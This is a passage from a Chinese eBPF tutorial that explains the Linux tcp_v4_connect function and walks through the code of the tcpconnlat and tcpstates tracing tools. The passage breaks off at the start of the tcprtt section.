fl4 = &amp;inet-&gt;cork.fl.u.ip4;
rt = ip_route_connect(fl4, nexthop, inet-&gt;inet_saddr,
sk-&gt;sk_bound_dev_if, IPPROTO_TCP, orig_sport,
orig_dport, sk);
if (IS_ERR(rt)) {
err = PTR_ERR(rt);
if (err == -ENETUNREACH)
IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES);
return err;
}
if (rt-&gt;rt_flags &amp; (RTCF_MULTICAST | RTCF_BROADCAST)) {
ip_rt_put(rt);
return -ENETUNREACH;
}
if (!inet_opt || !inet_opt-&gt;opt.srr)
daddr = fl4-&gt;daddr;
tcp_death_row = &amp;sock_net(sk)-&gt;ipv4.tcp_death_row;
if (!inet-&gt;inet_saddr) {
err = inet_bhash2_update_saddr(sk, &amp;fl4-&gt;saddr, AF_INET);
if (err) {
ip_rt_put(rt);
return err;
}
} else {
sk_rcv_saddr_set(sk, inet-&gt;inet_saddr);
}
if (tp-&gt;rx_opt.ts_recent_stamp &amp;&amp; inet-&gt;inet_daddr != daddr) {
/* Reset inherited state */
tp-&gt;rx_opt.ts_recent = 0;
tp-&gt;rx_opt.ts_recent_stamp = 0;
if (likely(!tp-&gt;repair))
WRITE_ONCE(tp-&gt;write_seq, 0);
}
inet-&gt;inet_dport = usin-&gt;sin_port;
sk_daddr_set(sk, daddr);
inet_csk(sk)-&gt;icsk_ext_hdr_len = 0;
if (inet_opt)
inet_csk(sk)-&gt;icsk_ext_hdr_len = inet_opt-&gt;opt.optlen;
tp-&gt;rx_opt.mss_clamp = TCP_MSS_DEFAULT;
/* Socket identity is still unknown (sport may be zero).
* However we set state to SYN-SENT and not releasing socket
* lock select source port, enter ourselves into the hash tables and
* complete initialization after this.
*/
tcp_set_state(sk, TCP_SYN_SENT);
err = inet_hash_connect(tcp_death_row, sk);
if (err)
goto failure;
sk_set_txhash(sk);
rt = ip_route_newports(fl4, rt, orig_sport, orig_dport,
inet-&gt;inet_sport, inet-&gt;inet_dport, sk);
if (IS_ERR(rt)) {
err = PTR_ERR(rt);
rt = NULL;
goto failure;
}
/* OK, now commit destination to socket. */
sk-&gt;sk_gso_type = SKB_GSO_TCPV4;
sk_setup_caps(sk, &amp;rt-&gt;dst);
rt = NULL;
if (likely(!tp-&gt;repair)) {
if (!tp-&gt;write_seq)
WRITE_ONCE(tp-&gt;write_seq,
secure_tcp_seq(inet-&gt;inet_saddr,
inet-&gt;inet_daddr,
inet-&gt;inet_sport,
usin-&gt;sin_port));
tp-&gt;tsoffset = secure_tcp_ts_off(net, inet-&gt;inet_saddr,
inet-&gt;inet_daddr);
}
inet-&gt;inet_id = get_random_u16();
if (tcp_fastopen_defer_connect(sk, &amp;err))
return err;
if (err)
goto failure;
err = tcp_connect(sk);
if (err)
goto failure;
return 0;
failure:
/*
* This unhashes the socket and releases the local port,
* if necessary.
*/
tcp_set_state(sk, TCP_CLOSE);
inet_bhash2_reset_saddr(sk);
ip_rt_put(rt);
sk-&gt;sk_route_caps = 0;
inet-&gt;inet_dport = 0;
return err;
}
EXPORT_SYMBOL(tcp_v4_connect);
</code></pre>
<p>参考链接:<a href="https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340">https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340</a></p>
<p>接下来,我们一步步分析这个函数:</p>
<p>首先,这个函数接收三个参数:一个套接字指针<code>sk</code>,一个指向套接字地址结构的指针<code>uaddr</code>和地址的长度<code>addr_len</code></p>
<pre><code class="language-c">int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
</code></pre>
<p>函数一开始就进行了参数检查确认地址长度正确而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。</p>
<p>接下来函数获取目标地址如果设置了源路由选项这是一个高级的IP特性通常不会被使用那么它还会获取源路由的下一跳地址。</p>
<pre><code class="language-c">nexthop = daddr = usin-&gt;sin_addr.s_addr;
inet_opt = rcu_dereference_protected(inet-&gt;inet_opt,
lockdep_sock_is_held(sk));
if (inet_opt &amp;&amp; inet_opt-&gt;opt.srr) {
if (!daddr)
return -EINVAL;
nexthop = inet_opt-&gt;opt.faddr;
}
</code></pre>
<p>然后,使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址,函数返回错误。</p>
<p>接下来它更新了源地址处理了一些TCP时间戳选项的状态并设置了目标端口和地址。之后它更新了一些其他的套接字和TCP选项并设置了连接状态为<code>SYN-SENT</code></p>
<p>然后,这个函数使用<code>inet_hash_connect</code>函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败,它会恢复套接字的状态并返回错误。</p>
<p>如果前面的步骤都成功了,接着,使用新的源和目标端口来更新路由项。如果这步失败,它会清理资源并返回错误。</p>
<p>接下来,它提交目标信息到套接字,并为之后的分段偏移选择一个安全的随机值。</p>
<p>然后函数尝试使用TCP Fast OpenTFO进行连接如果不能使用TFO或者TFO尝试失败它会使用普通的TCP三次握手进行连接。</p>
<p>最后,如果上面的步骤都成功了,函数返回成功,否则,它会清理所有资源并返回错误。</p>
<p>总的来说,<code>tcp_v4_connect</code>函数是一个处理TCP连接请求的复杂函数它处理了很多情况包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open等等。它的主要目标是尽可能安全和有效地建立TCP连接。</p>
<h3 id="内核态代码"><a class="header" href="#内核态代码">内核态代码</a></h3>
<pre><code class="language-c">// SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &quot;tcpconnlat.h&quot;
#define AF_INET 2
#define AF_INET6 10
const volatile __u64 targ_min_us = 0;
const volatile pid_t targ_tgid = 0;
struct piddata {
char comm[TASK_COMM_LEN];
u64 ts;
u32 tgid;
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, struct sock *);
__type(value, struct piddata);
} start SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(&quot;.maps&quot;);
static int trace_connect(struct sock *sk)
{
u32 tgid = bpf_get_current_pid_tgid() &gt;&gt; 32;
struct piddata piddata = {};
if (targ_tgid &amp;&amp; targ_tgid != tgid)
return 0;
bpf_get_current_comm(&amp;piddata.comm, sizeof(piddata.comm));
piddata.ts = bpf_ktime_get_ns();
piddata.tgid = tgid;
bpf_map_update_elem(&amp;start, &amp;sk, &amp;piddata, 0);
return 0;
}
static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
{
struct piddata *piddatap;
struct event event = {};
s64 delta;
u64 ts;
if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
return 0;
piddatap = bpf_map_lookup_elem(&amp;start, &amp;sk);
if (!piddatap)
return 0;
ts = bpf_ktime_get_ns();
delta = (s64)(ts - piddatap-&gt;ts);
if (delta &lt; 0)
goto cleanup;
event.delta_us = delta / 1000U;
if (targ_min_us &amp;&amp; event.delta_us &lt; targ_min_us)
goto cleanup;
__builtin_memcpy(&amp;event.comm, piddatap-&gt;comm,
sizeof(event.comm));
event.ts_us = ts / 1000;
event.tgid = piddatap-&gt;tgid;
event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
if (event.af == AF_INET) {
event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
} else {
BPF_CORE_READ_INTO(&amp;event.saddr_v6, sk,
__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
BPF_CORE_READ_INTO(&amp;event.daddr_v6, sk,
__sk_common.skc_v6_daddr.in6_u.u6_addr32);
}
bpf_perf_event_output(ctx, &amp;events, BPF_F_CURRENT_CPU,
&amp;event, sizeof(event));
cleanup:
bpf_map_delete_elem(&amp;start, &amp;sk);
return 0;
}
SEC(&quot;kprobe/tcp_v4_connect&quot;)
int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC(&quot;kprobe/tcp_v6_connect&quot;)
int BPF_KPROBE(tcp_v6_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC(&quot;kprobe/tcp_rcv_state_process&quot;)
int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
{
return handle_tcp_rcv_state_process(ctx, sk);
}
SEC(&quot;fentry/tcp_v4_connect&quot;)
int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC(&quot;fentry/tcp_v6_connect&quot;)
int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC(&quot;fentry/tcp_rcv_state_process&quot;)
int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)
{
return handle_tcp_rcv_state_process(ctx, sk);
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这个eBPFExtended Berkeley Packet Filter程序主要用来监控并收集TCP连接的建立时间即从发起TCP连接请求(<code>connect</code>系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。</p>
<p>首先定义了两个eBPF maps<code>start</code><code>events</code><code>start</code>是一个哈希表,用于存储发起连接请求的进程信息和时间戳,而<code>events</code>是一个<code>PERF_EVENT_ARRAY</code>类型的map用于将事件数据传输到用户态。</p>
<pre><code class="language-c">struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, struct sock *);
__type(value, struct piddata);
} start SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(&quot;.maps&quot;);
</code></pre>
<p><code>tcp_v4_connect</code><code>tcp_v6_connect</code>的kprobe处理函数<code>trace_connect</code>会记录下发起连接请求的进程信息进程名、进程ID和当前时间戳并以socket结构作为key存储到<code>start</code>这个map中。</p>
<pre><code class="language-c">static int trace_connect(struct sock *sk)
{
u32 tgid = bpf_get_current_pid_tgid() &gt;&gt; 32;
struct piddata piddata = {};
if (targ_tgid &amp;&amp; targ_tgid != tgid)
return 0;
bpf_get_current_comm(&amp;piddata.comm, sizeof(piddata.comm));
piddata.ts = bpf_ktime_get_ns();
piddata.tgid = tgid;
bpf_map_update_elem(&amp;start, &amp;sk, &amp;piddata, 0);
return 0;
}
</code></pre>
<p>当TCP状态机处理到SYN-ACK包即连接建立的时候会触发<code>tcp_rcv_state_process</code>的kprobe处理函数<code>handle_tcp_rcv_state_process</code>。在这个函数中首先检查socket的状态是否为<code>SYN-SENT</code>,如果是,会从<code>start</code>这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔将该时间间隔进程信息以及TCP连接的详细信息源端口目标端口源IP目标IP等作为event通过<code>bpf_perf_event_output</code>函数发送到用户态。</p>
<pre><code class="language-c">static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
{
struct piddata *piddatap;
struct event event = {};
s64 delta;
u64 ts;
if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
return 0;
piddatap = bpf_map_lookup_elem(&amp;start, &amp;sk);
if (!piddatap)
return 0;
ts = bpf_ktime_get_ns();
delta = (s64)(ts - piddatap-&gt;ts);
if (delta &lt; 0)
goto cleanup;
event.delta_us = delta / 1000U;
if (targ_min_us &amp;&amp; event.delta_us &lt; targ_min_us)
goto
cleanup;
__builtin_memcpy(&amp;event.comm, piddatap-&gt;comm,
sizeof(event.comm));
event.ts_us = ts / 1000;
event.tgid = piddatap-&gt;tgid;
event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
if (event.af == AF_INET) {
event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
} else {
BPF_CORE_READ_INTO(&amp;event.saddr_v6, sk,
__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
BPF_CORE_READ_INTO(&amp;event.daddr_v6, sk,
__sk_common.skc_v6_daddr.in6_u.u6_addr32);
}
bpf_perf_event_output(ctx, &amp;events, BPF_F_CURRENT_CPU,
&amp;event, sizeof(event));
cleanup:
bpf_map_delete_elem(&amp;start, &amp;sk);
return 0;
}
</code></pre>
<p>理解这个程序的关键在于理解Linux内核的网络栈处理流程以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是首先调用<code>tcp_v4_connect</code><code>tcp_v6_connect</code>函数根据IP版本不同发起TCP连接然后在收到SYN-ACK包时通过<code>tcp_rcv_state_process</code>函数来处理。eBPF程序通过在这两个关键函数上设置kprobe可以在关键时刻得到通知并执行相应的处理代码。</p>
<p>一些关键概念说明:</p>
<ul>
<li>kprobeKernel Probe是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点当断点被触发时会执行与kprobe关联的eBPF程序。</li>
<li>map是eBPF程序中的一种数据结构用于在内核态和用户态之间共享数据。</li>
<li>socket在Linux网络编程中socket是一个抽象概念表示一个网络连接的端点。内核中的<code>struct sock</code>结构就是对socket的实现。</li>
</ul>
<h3 id="用户态数据处理"><a class="header" href="#用户态数据处理">用户态数据处理</a></h3>
<p>用户态数据处理是使用<code>perf_buffer__poll</code>来接收并处理从内核发送到用户态的eBPF事件。<code>perf_buffer__poll</code>是libbpf库提供的一个便捷函数用于轮询perf event buffer并处理接收到的数据。</p>
<p>首先,让我们详细看一下主轮询循环:</p>
<pre><code class="language-c"> /* main: poll */
while (!exiting) {
err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
if (err &lt; 0 &amp;&amp; err != -EINTR) {
fprintf(stderr, &quot;error polling perf buffer: %s\n&quot;, strerror(-err));
goto cleanup;
}
/* reset err to return 0 if exiting */
err = 0;
}
</code></pre>
<p>这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错例如由于信号中断会打印出错误消息。这个轮询过程会一直持续直到收到一个退出标志<code>exiting</code></p>
<p>接下来,让我们来看看<code>handle_event</code>函数这个函数将处理从内核发送到用户态的每一个eBPF事件</p>
<pre><code class="language-c">void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
const struct event* e = data;
char src[INET6_ADDRSTRLEN];
char dst[INET6_ADDRSTRLEN];
union {
struct in_addr x4;
struct in6_addr x6;
} s, d;
static __u64 start_ts;
if (env.timestamp) {
if (start_ts == 0)
start_ts = e-&gt;ts_us;
printf(&quot;%-9.3f &quot;, (e-&gt;ts_us - start_ts) / 1000000.0);
}
if (e-&gt;af == AF_INET) {
s.x4.s_addr = e-&gt;saddr_v4;
d.x4.s_addr = e-&gt;daddr_v4;
} else if (e-&gt;af == AF_INET6) {
memcpy(&amp;s.x6.s6_addr, e-&gt;saddr_v6, sizeof(s.x6.s6_addr));
memcpy(&amp;d.x6.s6_addr, e-&gt;daddr_v6, sizeof(d.x6.s6_addr));
} else {
fprintf(stderr, &quot;broken event: event-&gt;af=%d&quot;, e-&gt;af);
return;
}
if (env.lport) {
printf(&quot;%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\n&quot;, e-&gt;tgid,
e-&gt;comm, e-&gt;af == AF_INET ? 4 : 6,
inet_ntop(e-&gt;af, &amp;s, src, sizeof(src)), e-&gt;lport,
inet_ntop(e-&gt;af, &amp;d, dst, sizeof(dst)), ntohs(e-&gt;dport),
e-&gt;delta_us / 1000.0);
} else {
printf(&quot;%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\n&quot;, e-&gt;tgid, e-&gt;comm,
e-&gt;af == AF_INET ? 4 : 6, inet_ntop(e-&gt;af, &amp;s, src, sizeof(src)),
inet_ntop(e-&gt;af, &amp;d, dst, sizeof(dst)), ntohs(e-&gt;dport),
e-&gt;delta_us / 1000.0);
}
}
</code></pre>
<p><code>handle_event</code>函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个<code>event</code>结构体包含了之前在内核态计算得到的TCP连接的信息。</p>
<p>首先它将接收到的事件的时间戳和起始时间戳如果存在进行对比计算出事件的相对时间并打印出来。接着根据IP地址的类型IPv4或IPv6将源地址和目标地址从网络字节序转换为主机字节序。</p>
<p>最后根据用户是否选择了显示本地端口将进程ID、进程名称、IP版本、源IP地址、本地端口如果有、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。</p>
<h2 id="编译运行-2"><a class="header" href="#编译运行-2">编译运行</a></h2>
<pre><code class="language-console">$ make
...
BPF .output/tcpconnlat.bpf.o
GEN-SKEL .output/tcpconnlat.skel.h
CC .output/tcpconnlat.o
BINARY tcpconnlat
$ sudo ./tcpconnlat
PID COMM IP SADDR DADDR DPORT LAT(ms)
222564 wget 4 192.168.88.15 110.242.68.3 80 25.29
222684 wget 4 192.168.88.15 167.179.101.42 443 246.76
222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17
222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31
</code></pre>
<p>源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat</a></p>
<p>参考资料:</p>
<ul>
<li><a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.c">tcpconnlat</a></li>
</ul>
<h2 id="总结-11"><a class="header" href="#总结-11">总结</a></h2>
<p>通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数,然后通过捕获这些函数的调用,从而得到连接建立的起始时间和结束时间,计算出延时。</p>
<p>我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据,从而在 eBPF 程序的多个部分之间共享数据。同时,我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态,以便进一步处理和展示。</p>
<p>在用户态,我们介绍了如何使用 libbpf 库的 API例如 perf_buffer__poll来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印使得它们能以人类可读的形式显示出来。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 。您还可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf入门实践教程十四记录-tcp-连接状态与-tcp-rtt"><a class="header" href="#ebpf入门实践教程十四记录-tcp-连接状态与-tcp-rtt">eBPF入门实践教程十四记录 TCP 连接状态与 TCP RTT</a></h1>
<p>eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。</p>
<p>在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍两个示例程序:<code>tcpstates</code><code>tcprtt</code><code>tcpstates</code> 用于记录 TCP 连接的状态变化,而 <code>tcprtt</code> 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。</p>
<h2 id="tcprtt-与-tcpstates"><a class="header" href="#tcprtt-与-tcpstates"><code>tcprtt</code><code>tcpstates</code></a></h2>
<p>网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多,包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题,我们引入了 <code>tcprtt</code> 这个工具。<code>tcprtt</code> 可以监控 TCP 链接的往返时间,从而评估网络质量,帮助用户找出可能的问题所在。</p>
<p>当 TCP 链接建立时,<code>tcprtt</code> 会自动根据当前系统的状况,选择合适的执行函数。在执行函数中,<code>tcprtt</code> 会收集 TCP 链接的各项基本信息,如源地址、目标地址、源端口、目标端口、耗时等,并将这些信息更新到直方图型的 BPF map 中。运行结束后,<code>tcprtt</code> 会通过用户态代码,将收集的信息以图形化的方式展示给用户。</p>
<p><code>tcpstates</code> 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长,单位为毫秒。例如,对于一个单独的 TCP 会话,<code>tcpstates</code> 可以打印出类似以下的输出:</p>
<pre><code class="language-sh">SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -&gt; NEWSTATE MS
ffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -&gt; SYN_SENT 0.000
ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -&gt; ESTABLISHED 1.373
ffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -&gt; FIN_WAIT1 176.042
ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -&gt; FIN_WAIT2 0.536
ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -&gt; CLOSE 0.006
</code></pre>
<p>以上输出中,最多的时间被花在了 ESTABLISHED 状态,也就是连接已经建立并在传输数据的状态,这个状态到 FIN_WAIT1 状态(开始关闭连接的状态)的转变过程中耗费了 176.042 毫秒。</p>
<p>在我们接下来的教程中,我们会更深入地探讨这两个工具,解释它们的实现原理,希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。</p>
<h2 id="tcpstate"><a class="header" href="#tcpstate">tcpstate</a></h2>
<p>由于篇幅所限,这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码:</p>
<pre><code class="language-c">const volatile bool filter_by_sport = false;
const volatile bool filter_by_dport = false;
const volatile short target_family = 0;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u16);
__type(value, __u16);
} sports SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u16);
__type(value, __u16);
} dports SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, struct sock *);
__type(value, __u64);
} timestamps SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(__u32));
__uint(value_size, sizeof(__u32));
} events SEC(&quot;.maps&quot;);
SEC(&quot;tracepoint/sock/inet_sock_set_state&quot;)
int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
{
struct sock *sk = (struct sock *)ctx-&gt;skaddr;
__u16 family = ctx-&gt;family;
__u16 sport = ctx-&gt;sport;
__u16 dport = ctx-&gt;dport;
__u64 *tsp, delta_us, ts;
struct event event = {};
if (ctx-&gt;protocol != IPPROTO_TCP)
return 0;
if (target_family &amp;&amp; target_family != family)
return 0;
if (filter_by_sport &amp;&amp; !bpf_map_lookup_elem(&amp;sports, &amp;sport))
return 0;
if (filter_by_dport &amp;&amp; !bpf_map_lookup_elem(&amp;dports, &amp;dport))
return 0;
tsp = bpf_map_lookup_elem(&amp;timestamps, &amp;sk);
ts = bpf_ktime_get_ns();
if (!tsp)
delta_us = 0;
else
delta_us = (ts - *tsp) / 1000;
event.skaddr = (__u64)sk;
event.ts_us = ts / 1000;
event.delta_us = delta_us;
event.pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
event.oldstate = ctx-&gt;oldstate;
event.newstate = ctx-&gt;newstate;
event.family = family;
event.sport = sport;
event.dport = dport;
bpf_get_current_comm(&amp;event.task, sizeof(event.task));
if (family == AF_INET) {
bpf_probe_read_kernel(&amp;event.saddr, sizeof(event.saddr), &amp;sk-&gt;__sk_common.skc_rcv_saddr);
bpf_probe_read_kernel(&amp;event.daddr, sizeof(event.daddr), &amp;sk-&gt;__sk_common.skc_daddr);
} else { /* family == AF_INET6 */
bpf_probe_read_kernel(&amp;event.saddr, sizeof(event.saddr), &amp;sk-&gt;__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
bpf_probe_read_kernel(&amp;event.daddr, sizeof(event.daddr), &amp;sk-&gt;__sk_common.skc_v6_daddr.in6_u.u6_addr32);
}
bpf_perf_event_output(ctx, &amp;events, BPF_F_CURRENT_CPU, &amp;event, sizeof(event));
if (ctx-&gt;newstate == TCP_CLOSE)
bpf_map_delete_elem(&amp;timestamps, &amp;sk);
else
bpf_map_update_elem(&amp;timestamps, &amp;sk, &amp;ts, BPF_ANY);
return 0;
}
</code></pre>
<p><code>tcpstates</code>主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化,从而跟踪 TCP 连接在每个状态下的停留时间。</p>
<h3 id="定义-bpf-maps"><a class="header" href="#定义-bpf-maps">定义 BPF Maps</a></h3>
<p><code>tcpstates</code>程序中,首先定义了几个 BPF Maps它们是 eBPF 程序和用户态程序之间交互的主要方式。<code>sports</code><code>dports</code>分别用于存储源端口和目标端口,用于过滤 TCP 连接;<code>timestamps</code>用于存储每个 TCP 连接的时间戳,以计算每个状态的停留时间;<code>events</code>则是一个 perf_event 类型的 map用于将事件数据发送到用户态。</p>
<h3 id="追踪-tcp-连接状态变化"><a class="header" href="#追踪-tcp-连接状态变化">追踪 TCP 连接状态变化</a></h3>
<p>程序定义了一个名为<code>handle_set_state</code>的函数,该函数是一个 tracepoint 类型的程序,它将被挂载到<code>sock/inet_sock_set_state</code>这个内核 tracepoint 上。每当 TCP 连接状态发生变化时,这个 tracepoint 就会被触发,然后执行<code>handle_set_state</code>函数。</p>
<p><code>handle_set_state</code>函数中,首先通过一系列条件判断确定是否需要处理当前的 TCP 连接,然后从<code>timestamps</code>map 中获取当前连接的上一个时间戳,然后计算出停留在当前状态的时间。接着,程序将收集到的数据放入一个 event 结构体中,并通过<code>bpf_perf_event_output</code>函数将该 event 发送到用户态。</p>
<h3 id="更新时间戳"><a class="header" href="#更新时间戳">更新时间戳</a></h3>
<p>最后,根据 TCP 连接的新状态,程序将进行不同的操作:如果新状态为 TCP_CLOSE表示连接已关闭程序将从<code>timestamps</code>map 中删除该连接的时间戳;否则,程序将更新该连接的时间戳。</p>
<p>用户态的部分主要是通过 libbpf 来加载 eBPF 程序,然后通过 perf_event 来接收内核中的事件数据:</p>
<pre><code class="language-c">static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
char ts[32], saddr[26], daddr[26];
struct event* e = data;
struct tm* tm;
int family;
time_t t;
if (emit_timestamp) {
time(&amp;t);
tm = localtime(&amp;t);
strftime(ts, sizeof(ts), &quot;%H:%M:%S&quot;, tm);
printf(&quot;%8s &quot;, ts);
}
inet_ntop(e-&gt;family, &amp;e-&gt;saddr, saddr, sizeof(saddr));
inet_ntop(e-&gt;family, &amp;e-&gt;daddr, daddr, sizeof(daddr));
if (wide_output) {
family = e-&gt;family == AF_INET ? 4 : 6;
printf(
&quot;%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -&gt; %-11s &quot;
&quot;%.3f\n&quot;,
e-&gt;skaddr, e-&gt;pid, e-&gt;task, family, saddr, e-&gt;sport, daddr,
e-&gt;dport, tcp_states[e-&gt;oldstate], tcp_states[e-&gt;newstate],
(double)e-&gt;delta_us / 1000);
} else {
printf(
&quot;%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -&gt; %-11s %.3f\n&quot;,
e-&gt;skaddr, e-&gt;pid, e-&gt;task, saddr, e-&gt;sport, daddr, e-&gt;dport,
tcp_states[e-&gt;oldstate], tcp_states[e-&gt;newstate],
(double)e-&gt;delta_us / 1000);
}
}
</code></pre>
<p><code>handle_event</code>就是这样一个回调函数,它会被 perf_event 调用,每当内核有新的事件到达时,它就会处理这些事件。</p>
<p><code>handle_event</code>函数中,我们首先通过<code>inet_ntop</code>函数将二进制的 IP 地址转换成人类可读的格式,然后根据是否需要输出宽格式,分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。</p>
<p>这样,用户就可以清晰地看到 TCP 连接状态的变化,以及每个状态的停留时间,从而帮助他们诊断网络问题。</p>
<p>总结起来,用户态部分的处理主要涉及到了以下几个步骤:</p>
<ol>
<li>使用 libbpf 加载并运行 eBPF 程序。</li>
<li>设置回调函数来接收内核发送的事件。</li>
<li>处理接收到的事件,将其转换成人类可读的格式并打印。</li>
</ol>
<p>以上就是<code>tcpstates</code>程序用户态部分的主要实现逻辑。通过这一章的学习,你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中,我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。</p>
<h3 id="tcprtt"><a class="header" href="#tcprtt">tcprtt</a></h3>
<p>在本章节中,我们将分析<code>tcprtt</code> eBPF 程序的内核态代码。<code>tcprtt</code>是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序,它将 RTT 的信息统计到一个 histogram 中。</p>
<pre><code class="language-c">
/// @sample {&quot;interval&quot;: 1000, &quot;type&quot; : &quot;log2_hist&quot;}
struct {
